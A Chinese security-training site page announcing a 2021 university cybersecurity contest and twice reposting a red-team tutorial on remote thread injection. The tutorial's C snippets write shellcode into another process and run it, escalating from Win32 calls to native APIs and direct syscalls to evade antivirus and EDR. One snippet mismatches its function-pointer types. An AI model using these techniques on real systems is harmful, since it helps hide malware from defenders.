NISP官网|国家信息安全水平考试NISP运营管理中心|国家网络空间安全人才培养基地欢迎您!

图片展示
搜索

图片展示

ISAT

信息安全意识培训

【立即报名】

NISP一级

国家信息安全水平考试

【立即报名】

NISP二级

国家信息安全水平考试

【立即报名】

NISP三级

国家信息安全水平考试

【立即报名】

CISP

注册信息安全专业人员

【立即报名】

NISP一级考试预约

 

图片展示

2021第二届全国⼤学⽣⽹络安全精英赛赛事介绍

 

       2021第二届全国⼤学⽣⽹络安全精英赛,指导单位为中国信息安全测评中⼼,主办⽅为国家⽹络空间安全⼈才培养基地。⼤赛以普及知识、挖掘⼈才为⼰任,⾯向全国⼤学⽣普及信息安全意识、传播信息安全知识、挖掘信息安全⼈才。

       本次比赛分为3个阶段,参赛学员均已个人赛形式参加比赛。第一阶段为全国线上初赛,主要考察学生的信息安全知识水平;第二阶段为全国线上复赛,主要考察学生网络安全基础知识和基本技能;第三阶段为全国线下总决赛;具体如下:

1.1.全国初

初赛主要考察学生信息安全知识水平,资格赛为线上答题形式。

☑ 比赛时间:7月1日-9月10日报名,9月13日-17日全国初赛

☑ 参赛资格:全国各类高、中等院校在校学生

☑ 比赛形式:初赛由各个参赛院校组织学生至大赛官网自主报名,由当地承办机构组织安排初赛时间。

☑ 比赛题型:初赛为50道单选题。

☑ 比赛内容:内容包含:信息安全概述、信息安全法律法规、信息安全基础技术、网络安全防护技术、操作系统安全防护技术、应用安全、移动智能终端安全防护、信息安全管理。

☑ 通过条件:满分100分,竞赛成绩达到70分及以上。

 

1.2.全国复赛

全国复赛主要考察参赛选手网络安全基础知识和基本技能。

☑ 比赛时间:9月24日全国复赛

☑ 比赛形式:复赛为线上答题形式进行,参赛条件为初赛成绩达70分以上。

☑ 比赛题型:复赛为100道单选题,

☑ 比赛内容:信息安全支撑技术、物理与网络通信安全、计算机环境安全、软件安全开发。

☑ 通过条件:全国前100名通过参加线下总决赛

 

1.3.全国总决赛

全国总决赛为线下知识竞赛形式。

☑ 比赛时间:10月11日全国线下总决赛

☑ 比赛形式:决赛为线下知识答题赛,参赛条件为复赛全国成绩前100名。

☑ 比赛题型:总决赛为100道单选题,

☑ 比赛内容:信息安全支撑技术、物理与网络通信安全、计算机环境安全、软件安全开发等。

☑ 获奖条件:根据总决赛最终成绩排名,产生大学生网络安全竞赛金奖:10人;银奖:10人;铜奖:20人。

 

1.4.奖项设置

2021年第二届大学生网络安全竞赛共设奖金20万元。

金奖:10人,奖金10000元/人

银奖:10人,奖金5000元/人

铜奖:20人,奖金2500元/人

获得⼤赛⾦银铜牌的选⼿,可获得⼤赛协办单位腾讯安全、卓朗科技、 深信服等信息安全知名企业签约⼯作机会。

 

4. 大赛同期其他活动

本次大赛同期将进行一系列与相关的活动,主要活动如下:

1.1大学生网络安全知识精英赛校园大使招募

第二届全国大学生网络安全精英赛即将于2021年7月1日启动报名,9月网络安全周期间开赛。现在面向全国在校大学生招募校园大使。招募规则如下:

 1.1.1.招募标准

具备⼀定的信息安全基础知识,擅长通过talkshow⼩段子、音乐创作、创意剪辑等各种才艺、方法传播信息安全知识、宣传网络安全精英赛的在校大学生。

1.1.2.招募平台

抖音APP

1.1.3.报名方式

1、开通抖音账号,并关注抖音官方号“网安精英赛”。

2、活动时间:2021年7月1日-2021年9月30日,10月11日公布获奖名单

3、拍摄与网络安全相关的短视频添加话题#网络安全精英赛#在抖音发布,并@网安精英赛 官方账号。

4、发动同学为自己的短视频点赞。

1.1.4.评选

大赛组委会邀请评委会评选作品,筛选出符合招募要求的作品,并按照点赞数排序,最终前十名入选的创作者将成为本届大学生网络安全精英赛校园大使。

1.1.5.公布

最终入选名单将在精英赛官网(https://www.nisp.org.cn/ds)公布。

1.1.6.表彰

成功当选校园大使的创作者,精英赛组委会将颁发聘书,并奖励华为 Mate 40E 手机一台(京东官方价4199元)。

 

1.2大学生网络安全知识精英赛答题接龙活动

校园大使招募活动同时,大赛组委会举办“网络安全精英赛·答题接龙”活动。

活动时间:2021年7月1日-2021年9月30日,10月11日公布获奖名单

参与在校大学生可登陆精英赛官网(https://www.nisp.org.cn/ds)学习网络安全辅导课程,并练习模拟题。

在抖音APP上传短视频,内容为回答一道网络安全模拟题,指定同学接龙。并以“大学生网络安全精英赛,你也来答题吧~”结尾。@网安精英赛 官方账号,参与抽奖。

奖品为华为WATCH GT 2 Pro 智能手表,共十个获奖名额(京东官网价2388元)。

 

一文读懂远程线程注入

作者:合天智汇 来源:国家网络空间安全人才培养基地

在红队行动中,红队的目的都是要在不暴露自身行动的前提下,向蓝队发动攻击。他们使用各种技术和程序来隐藏C2连接和数据流。攻击活动的第一步是获得初始访问权。他们会使用定制的恶意软件和有效载荷来躲避防杀软和EDR等防御工具。

本文涉及知识点实操练习:DLL注入型病毒实验(通过实验了解DLL注入型病毒的攻击过程)

进程注入是用来逃避防御机制的重要技术之一。远程线程注入是其中的一种简单可靠的技术,它的工作原理是将shellcode注入到另一个合法的进程中,并为该进程创建一个线程来运行payload。

我们通常会使用标准的Windows API、Native API和直接syscalls来实现远程线程注入,这些实现方式都有各自的优缺点,下图展示了标准的windows API、Native API和直接syscalls在windows架构中的工作原理。

标准的windows API

优点:易于使用

缺点:可被大多数AV/EDR检测到

我们首先测试使用标准的Windows API,因为它比其他两种方式更简单。首先,我们需要找到我们的目标进程ID。我们需要创建一个名为find_process的函数,它可以得到一个进程名。它使用CreateToolhelp32Snapshot API得到当前进程列表,并使用Process32First和Process32Next逐一查看,并将进程名与我们的目标进程进行比较。使用Process32First和Process32Next API会得到一个指向PROCESSENTRY32结构的指针,这个结构可以保存进程的信息,比如它的名字和id。如果它成功地找到了进程,就会返回它的进程ID。

DWORD find_process(char *process_name){

    PROCESSENTRY32 process_entry;

    process_entry.dwSize = sizeof(PROCESSENTRY32);

    //get the list of processes

    HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

    //check processes to find TARGET_PROCESS_NAME

    if (Process32First(snapshot, &process_entry) == TRUE){

        

            while (Process32Next(snapshot, &process_entry) == TRUE){

                if (stricmp(process_entry.szExeFile, process_name) == 0){  

                    CloseHandle(snapshot);

                    return process_entry.th32ProcessID;

                }

            }

        }

    CloseHandle(snapshot);

    return 0;

}

下一步,我们需要使用OpenProcess 函数打开目标进程。我们可以传递我们的参数,包括从上一步得到的目标进程id,它将返回该进程的句柄。

HANDLE target_process_handle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, target_process_id);

现在我们需要使用VirtualAllocEx函数在目标进程中为我们的shellcode分配空间,我们应该给这个空间分配PAGE_EXECUTE_READWRITE(读、写、执行)权限,这个函数返回分配区域的首地址。

LPVOID remote_process_buffer = VirtualAllocEx(target_process_handle, NULL, sizeof(buf), MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE);

现在我们应该使用WriteProcessMemory函数将我们的shellcode写入分配的内存区域。

WriteProcessMemory(target_process_handle, remote_process_buffer, buf, sizeof(buf), NULL);

这时候可以在目标进程中创建一个线程,并运行我们之前写到内存页中的shellcode.我们可以使用CreateRemoteThread函数.还应该传递0作为dwCreationFlags参数,表示在创建后立即运行线程。

CreateRemoteThread(target_process_handle, NULL, 0,(LPTHREAD_START_ROUTINE) remote_process_buffer,NULL,0, NULL);

为了能在kali中编译代码,我们需要使用MinGW编译器。

x86_64-w64-mingw32-gcc main.c -o rti.exe

我们将输出的文件发送到我们的windows机器上运行它。如果我们打开process hacker并查看notepad.exe进程,在内存部分有一个很可疑的具有RWX权限的内存页,如果我们打开它,就可以看到里面的shellcode。

Native API

优点:能够绕过一些AV/EDR

缺点:

很难使用

仍可能被大多数AV/EDR检测到。

无法在所有版本的Windows上运行

为了方便与操作系统进行交互,程序员一般使用微软推荐的标准API(Win 32 API)。标准Windows APIs是在Native APIs的基础上包装产生的。Native APIs 或 Undocumented APIs 都可以在 ntdll.dll 库中找到。微软不推荐使用这些API。你可以查看第二张图,可以很清楚看到这些API是如何工作的。native API也使用syscalls与os内核交互,微软使用这种架构是因为它可以在不影响标准API的情况下改变操作系统内核。

Native API也被称为无文档API,因为你通常找不到它们的官方文档。我们主要是通过查看其他人的代码或者别人总结的非官方文档,来查看它们的使用方法。

在上一节中,我们使用了标准的API来完成我们的工作,这里我们再深入一层,尝试使用原生API。首先,我们需要将ntdll.dll加载到我们的恶意软件进程中.然后我们需要定义与我们要使用的原始函数格式完全相同的函数指针,并使用这些函数的基地址来初始化这些指针.

我们可以使用LoadLibraryW函数,动态加载ntdll.dll或任何其他dll到我们的运行进程中,同时它会返回该库的一个句柄。

HMODULE hNtdll = LoadLibraryW(L"ntdll");

然后我们定义函数指针类型,并使用GetProcAddress函数获取函数的基地址,并将其赋值给指针,以下是NtOpenProcess的使用例子。

typedef NTSTATUS(NTAPI* pNtOpenProcess)(PHANDLE ProcessHandle, ACCESS_MASK AccessMask, POBJECT_ATTRIBUTES ObjectAttributes, PCLIENT_ID ClientID);

pNtOpenProcess NtOpenProcess = (pNtOpenProcess)GetProcAddress(hNtdll, "NtOpenProcess");

我们用与NtOpenProcess函数相同的参数定义了我们的函数类型。对于NtWriteVirtualMemory , NtAllocateVirtualMemory , NtCreateThreadEx函数都要这样做。

NtOpenProcess

和上一节一样,我们从打开目标进程开始做,但这次使用的是NtOpenProcess函数。这个函数并不返回目标进程的Handle,我们需要传递一个句柄指针作为第一个参数。

#define InitializeObjectAttributes(p,n,a,r,s) { \

(p)->Length = sizeof(OBJECT_ATTRIBUTES); \

(p)->RootDirectory = (r); \

(p)->Attributes = (a); \

(p)->ObjectName = (n); \

(p)->SecurityDescriptor = (s); \

(p)->SecurityQualityOfService = NULL; \

}

typedef struct _CLIENT_ID

{

    PVOID UniqueProcess;

    PVOID UniqueThread;

} CLIENT_ID, *PCLIENT_ID;

typedef struct _UNICODE_STRING {

    USHORT Length;

    USHORT MaximumLength;

    PWSTR  Buffer;

} UNICODE_STRING, *PUNICODE_STRING;

typedef struct _OBJECT_ATTRIBUTES {

    ULONG           Length;

    HANDLE          RootDirectory;

    PUNICODE_STRING ObjectName;

    ULONG           Attributes;

    PVOID           SecurityDescriptor;

    PVOID           SecurityQualityOfService;

} OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES ;

OBJECT_ATTRIBUTES oa;

InitializeObjectAttributes(&oa, NULL,0,NULL,NULL);

CLIENT_ID ci = { (HANDLE)procid, NULL };

现在我们可以使用 NtOpenProcess函数

NtOpenProcess(&target_process_handle,PROCESS_ALL_ACCESS, &oa, &ci);

NtAllocateVirtualMemory

我们使用NtAllocateVirtualMemory函数在目标进程中分配内存,我们定义该函数的原型。

typedef NTSTATUS(NTAPI* pNtAllocateVirtualMemory)(HANDLE ProcessHandle, PVOID *BaseAddress, ULONG_PTR ZeroBits, PSIZE_T RegionSize, ULONG AllocationType, ULONG Protect)

然后我们得到函数的基地址。

pNtWriteVirtualMemory NtWriteVirtualMemory = (pNtAllocateVirtualMemory)GetProcAddress(hNtdll, "NtAllocateVirtualMemory")

我们把这个地址称为 "NtWriteVirtualMemory"

NtAllocateVirtualMemory(target_process_handle, &remote_process_buffer, 0,&buf_len ,MEM_COMMIT, PAGE_EXECUTE_READWRITE)

我们传递了一个名为remote_process_buffer的指针,它代表的是所分配空间的基地址。

NtWriteVirtualMemory

像之前的步骤一样,先定义NtWriteVirtualMemory函数原型,我们应该将我们的shellcode,shellcode的长度,以及分配空间的基地址作为参数进行传递

typedef NTSTATUS(NTAPI* pNtWriteVirtualMemory)(HANDLE ProcessHandle, PVOID BaseAddress, PVOID Buffer, ULONG NumberOfBytesToWrite, PULONG NumberOfBytesWritten OPTIONAL);

pNtWriteVirtualMemory NtWriteVirtualMemory = (pNtWriteVirtualMemory)GetProcAddress(hNtdll, "NtWriteVirtualMemory");

NtWriteVirtualMemory(target_process_handle, remote_process_buffer, buf, buf_len, NULL);

NtCreateThreadEx

现在我们可以在目标进程中创建一个线程并运行我们的shellcode了。我们使用NtCreateThreadEx在目标进程中创建一个远程线程并运行我们的shellcode。

NtCreateThreadEx(&thread_handle, 0x1FFFFF, NULL, target_process_handle, (LPTHREAD_START_ROUTINE)remote_process_buffer,NULL, FALSE, NULL, NULL, NULL, NULL)

Direct Syscalls

优点:用户系统中所有的API监控工具都无法检测到。

缺点:

可能无法在所有版本的Windows上运行

很难使用

在前面的步骤中,任何API监控程序和EDRs都可以检测到我们的API调用,阻止我们的攻击。现在,如果我们直接使用syscalls,用户系统就没有任何工具可以检测到API的调用。

syscalls的一个严重缺点就是他的运行对于操作系统的版本的依赖程度很高,我们的代码可能无法在不同的windows版本上运行。然而,通过使用像SysWhisper 这样的工具,我们就可以让软件在不同版本的windows系统上运行。运行下面的命令就可以在我们的windows 10系统上生成相应的文件。

syswhispers.py --function NtCreateProcess,NtAllocateVirtualMemory,NtWriteVirtualMemory,NtCreateThreadEx -o syscall --versions 10

这个命令会生成两个文件syscall.asm和syscall.h,我们需要将它们添加到visual studio项目中。然后我们应该在项目中启用MASM,并将头文件包含在我们的主代码中。这里可以像Native API一样调用函数,但这里我们不需要加载ntdll.dll,获取函数的基地址,和定义函数原型。我觉得SysWhisper让利用syscalls变得非常简单了。

文章至此,也该告一段落了,文中涉及更多的是winows底层的知识,主要讲解了三种常见的方法,希望在写文章的同时,能给各位师傅带来一点点的启发和灵感。


本文转自FreeBuf.COM


0
NISP管理中心

一文读懂远程线程注入

作者:合天智汇 浏览: 发表时间:2021-03-04 09:34:35 来源:国家网络空间安全人才培养基地

在红队行动中,红队的目的都是要在不暴露自身行动的前提下,向蓝队发动攻击。他们使用各种技术和程序来隐藏C2连接和数据流。攻击活动的第一步是获得初始访问权。他们会使用定制的恶意软件和有效载荷来躲避防杀软和EDR等防御工具。

本文涉及知识点实操练习:DLL注入型病毒实验(通过实验了解DLL注入型病毒的攻击过程)

进程注入是用来逃避防御机制的重要技术之一。远程线程注入是其中的一种简单可靠的技术,它的工作原理是将shellcode注入到另一个合法的进程中,并为该进程创建一个线程来运行payload。

我们通常会使用标准的Windows API、Native API和直接syscalls来实现远程线程注入,这些实现方式都有各自的优缺点,下图展示了标准的windows API、Native API和直接syscalls在windows架构中的工作原理。

标准的windows API

优点:易于使用

缺点:可被大多数AV/EDR检测到

我们首先测试使用标准的Windows API,因为它比其他两种方式更简单。首先,我们需要找到我们的目标进程ID。我们需要创建一个名为find_process的函数,它可以得到一个进程名。它使用CreateToolhelp32Snapshot API得到当前进程列表,并使用Process32First和Process32Next逐一查看,并将进程名与我们的目标进程进行比较。使用Process32First和Process32Next API会得到一个指向PROCESSENTRY32结构的指针,这个结构可以保存进程的信息,比如它的名字和id。如果它成功地找到了进程,就会返回它的进程ID。

DWORD find_process(char *process_name){

    PROCESSENTRY32 process_entry;

    process_entry.dwSize = sizeof(PROCESSENTRY32);

    //get the list of processes

    HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

    //check processes to find TARGET_PROCESS_NAME

    if (Process32First(snapshot, &process_entry) == TRUE){

        

            while (Process32Next(snapshot, &process_entry) == TRUE){

                if (stricmp(process_entry.szExeFile, process_name) == 0){  

                    CloseHandle(snapshot);

                    return process_entry.th32ProcessID;

                }

            }

        }

    CloseHandle(snapshot);

    return 0;

}

下一步,我们需要使用OpenProcess 函数打开目标进程。我们可以传递我们的参数,包括从上一步得到的目标进程id,它将返回该进程的句柄。

HANDLE target_process_handle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, target_process_id);

现在我们需要使用VirtualAllocEx函数在目标进程中为我们的shellcode分配空间,我们应该给这个空间分配PAGE_EXECUTE_READWRITE(读、写、执行)权限,这个函数返回分配区域的首地址。

LPVOID remote_process_buffer = VirtualAllocEx(target_process_handle, NULL, sizeof(buf), MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE);

现在我们应该使用WriteProcessMemory函数将我们的shellcode写入分配的内存区域。

WriteProcessMemory(target_process_handle, remote_process_buffer, buf, sizeof(buf), NULL);

这时候可以在目标进程中创建一个线程,并运行我们之前写到内存页中的shellcode.我们可以使用CreateRemoteThread函数.还应该传递0作为dwCreationFlags参数,表示在创建后立即运行线程。

CreateRemoteThread(target_process_handle, NULL, 0,(LPTHREAD_START_ROUTINE) remote_process_buffer,NULL,0, NULL);

为了能在kali中编译代码,我们需要使用MinGW编译器。

x86_64-w64-mingw32-gcc main.c -o rti.exe

我们将输出的文件发送到我们的windows机器上运行它。如果我们打开process hacker并查看notepad.exe进程,在内存部分有一个很可疑的具有RWX权限的内存页,如果我们打开它,就可以看到里面的shellcode。

Native API

优点:能够绕过一些AV/EDR

缺点:

很难使用

仍可能被大多数AV/EDR检测到。

无法在所有版本的Windows上运行

为了方便与操作系统进行交互,程序员一般使用微软推荐的标准API(Win 32 API)。标准Windows APIs是在Native APIs的基础上包装产生的。Native APIs 或 Undocumented APIs 都可以在 ntdll.dll 库中找到。微软不推荐使用这些API。你可以查看第二张图,可以很清楚看到这些API是如何工作的。native API也使用syscalls与os内核交互,微软使用这种架构是因为它可以在不影响标准API的情况下改变操作系统内核。

Native API也被称为无文档API,因为你通常找不到它们的官方文档。我们主要是通过查看其他人的代码或者别人总结的非官方文档,来查看它们的使用方法。

在上一节中,我们使用了标准的API来完成我们的工作,这里我们再深入一层,尝试使用原生API。首先,我们需要将ntdll.dll加载到我们的恶意软件进程中.然后我们需要定义与我们要使用的原始函数格式完全相同的函数指针,并使用这些函数的基地址来初始化这些指针.

我们可以使用LoadLibraryW函数,动态加载ntdll.dll或任何其他dll到我们的运行进程中,同时它会返回该库的一个句柄。

HMODULE hNtdll = LoadLibraryW(L"ntdll");

然后我们定义函数指针类型,并使用GetProcAddress函数获取函数的基地址,并将其赋值给指针,以下是NtOpenProcess的使用例子。

typedef NTSTATUS(NTAPI* pNtOpenProcess)(PHANDLE ProcessHandle, ACCESS_MASK AccessMask, POBJECT_ATTRIBUTES ObjectAttributes, PCLIENT_ID ClientID);

pNtOpenProcess NtOpenProcess = (pNtOpenProcess)GetProcAddress(hNtdll, "NtOpenProcess");

我们用与NtOpenProcess函数相同的参数定义了我们的函数类型。对于NtWriteVirtualMemory , NtAllocateVirtualMemory , NtCreateThreadEx函数都要这样做。

NtOpenProcess

和上一节一样,我们从打开目标进程开始做,但这次使用的是NtOpenProcess函数。这个函数并不返回目标进程的Handle,我们需要传递一个句柄指针作为第一个参数。

#define InitializeObjectAttributes(p,n,a,r,s) { \

(p)->Length = sizeof(OBJECT_ATTRIBUTES); \

(p)->RootDirectory = (r); \

(p)->Attributes = (a); \

(p)->ObjectName = (n); \

(p)->SecurityDescriptor = (s); \

(p)->SecurityQualityOfService = NULL; \

}

typedef struct _CLIENT_ID

{

    PVOID UniqueProcess;

    PVOID UniqueThread;

} CLIENT_ID, *PCLIENT_ID;

typedef struct _UNICODE_STRING {

    USHORT Length;

    USHORT MaximumLength;

    PWSTR  Buffer;

} UNICODE_STRING, *PUNICODE_STRING;

typedef struct _OBJECT_ATTRIBUTES {

    ULONG           Length;

    HANDLE          RootDirectory;

    PUNICODE_STRING ObjectName;

    ULONG           Attributes;

    PVOID           SecurityDescriptor;

    PVOID           SecurityQualityOfService;

} OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES ;

OBJECT_ATTRIBUTES oa;

InitializeObjectAttributes(&oa, NULL,0,NULL,NULL);

CLIENT_ID ci = { (HANDLE)procid, NULL };

现在我们可以使用 NtOpenProcess函数

NtOpenProcess(&target_process_handle,PROCESS_ALL_ACCESS, &oa, &ci);

NtAllocateVirtualMemory

我们使用NtAllocateVirtualMemory函数在目标进程中分配内存,我们定义该函数的原型。

typedef NTSTATUS(NTAPI* pNtAllocateVirtualMemory)(HANDLE ProcessHandle, PVOID *BaseAddress, ULONG_PTR ZeroBits, PSIZE_T RegionSize, ULONG AllocationType, ULONG Protect)

然后我们得到函数的基地址。

pNtWriteVirtualMemory NtWriteVirtualMemory = (pNtAllocateVirtualMemory)GetProcAddress(hNtdll, "NtAllocateVirtualMemory")

我们把这个地址称为 "NtWriteVirtualMemory"

NtAllocateVirtualMemory(target_process_handle, &remote_process_buffer, 0,&buf_len ,MEM_COMMIT, PAGE_EXECUTE_READWRITE)

我们传递了一个名为remote_process_buffer的指针,它代表的是所分配空间的基地址。

NtWriteVirtualMemory

像之前的步骤一样,先定义NtWriteVirtualMemory函数原型,我们应该将我们的shellcode,shellcode的长度,以及分配空间的基地址作为参数进行传递

typedef NTSTATUS(NTAPI* pNtWriteVirtualMemory)(HANDLE ProcessHandle, PVOID BaseAddress, PVOID Buffer, ULONG NumberOfBytesToWrite, PULONG NumberOfBytesWritten OPTIONAL);

pNtWriteVirtualMemory NtWriteVirtualMemory = (pNtWriteVirtualMemory)GetProcAddress(hNtdll, "NtWriteVirtualMemory");

NtWriteVirtualMemory(target_process_handle, remote_process_buffer, buf, buf_len, NULL);

NtCreateThreadEx

现在我们可以在目标进程中创建一个线程并运行我们的shellcode了。我们使用NtCreateThreadEx在目标进程中创建一个远程线程并运行我们的shellcode。

NtCreateThreadEx(&thread_handle, 0x1FFFFF, NULL, target_process_handle, (LPTHREAD_START_ROUTINE)remote_process_buffer,NULL, FALSE, NULL, NULL, NULL, NULL)

Direct Syscalls

优点:用户系统中所有的API监控工具都无法检测到。

缺点:

可能无法在所有版本的Windows上运行

很难使用

在前面的步骤中,任何API监控程序和EDRs都可以检测到我们的API调用,阻止我们的攻击。现在,如果我们直接使用syscalls,用户系统就没有任何工具可以检测到API的调用。

syscalls的一个严重缺点就是他的运行对于操作系统的版本的依赖程度很高,我们的代码可能无法在不同的windows版本上运行。然而,通过使用像SysWhisper 这样的工具,我们就可以让软件在不同版本的windows系统上运行。运行下面的命令就可以在我们的windows 10系统上生成相应的文件。

syswhispers.py --function NtCreateProcess,NtAllocateVirtualMemory,NtWriteVirtualMemory,NtCreateThreadEx -o syscall --versions 10

这个命令会生成两个文件syscall.asm和syscall.h,我们需要将它们添加到visual studio项目中。然后我们应该在项目中启用MASM,并将头文件包含在我们的主代码中。这里可以像Native API一样调用函数,但这里我们不需要加载ntdll.dll,获取函数的基地址,和定义函数原型。我觉得SysWhisper让利用syscalls变得非常简单了。

文章至此,也该告一段落了,文中涉及更多的是winows底层的知识,主要讲解了三种常见的方法,希望在写文章的同时,能给各位师傅带来一点点的启发和灵感。


本文转自FreeBuf.COM


一文读懂远程线程注入
进程注入是用来逃避防御机制的重要技术之一。远程线程注入是其中的一种简单可靠的技术,它的工作原理是将shellcode注入到另一个合法的进程中,并为该进程创建一个线程来运行payload。
长按图片保存/分享
0

 

国家信息安全水平考试(NISP)管理中心 © 2001-2020  ICP备案号:京ICP备18045154号-6

网站地图

全部课程

添加微信好友,详细了解产品
使用企业微信
“扫一扫”加入群聊
复制成功
添加微信好友,详细了解产品
我知道了
京ICP备18045154号-6